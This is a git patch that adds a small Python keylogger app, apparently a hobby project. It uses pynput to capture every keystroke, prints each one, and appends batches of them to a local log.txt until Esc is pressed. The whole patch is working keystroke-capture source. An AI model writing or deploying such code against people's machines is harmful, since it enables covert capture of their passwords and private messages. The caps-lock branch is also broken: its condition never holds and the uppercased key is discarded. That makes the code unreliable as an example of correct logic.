From b397283a74842b1162a18cace42d48b160e0c09a Mon Sep 17 00:00:00 2001 From: AvishkaWeebadde Date: Wed, 14 Oct 2020 20:57:31 +0530 Subject: [PATCH] Keylogger app with python --- keylogger/keylogger.py | 44 ++++++++++++++++++++++++++++++++++++++++++ keylogger/log.txt | 0 2 files changed, 44 insertions(+) create mode 100644 keylogger/keylogger.py create mode 100644 keylogger/log.txt diff --git a/keylogger/keylogger.py b/keylogger/keylogger.py new file mode 100644 index 0000000..18aec4d --- /dev/null +++ b/keylogger/keylogger.py @@ -0,0 +1,44 @@ +import pynput + +from pynput.keyboard import Key, Listener + +count = 0 +keys = [] + + + + +def on_press(key): + global keys, count + + keys.append(key) + count += 1 + print("{0} pressed".format(key)) + if count >= 10: + count = 0 + write_file(keys) + keys = [] + + +def on_release(key): + if key == Key.esc: + return False + + +def write_file(keys): + with open('log.txt', "a") as f: + for key in keys: + k = str(key).replace("'", "") + if k.find("space") > 0: + f.write('\t') + elif k.find("enter") > 0: + f.write('\n') + elif Key.caps_lock == 1: + k.upper() + f.write(k) + elif k.find("Key") == -1: + f.write(k) + + +with Listener(on_press=on_press, on_release=on_release) as listner: + listner.join() diff --git a/keylogger/log.txt b/keylogger/log.txt new file mode 100644 index 0000000..e69de29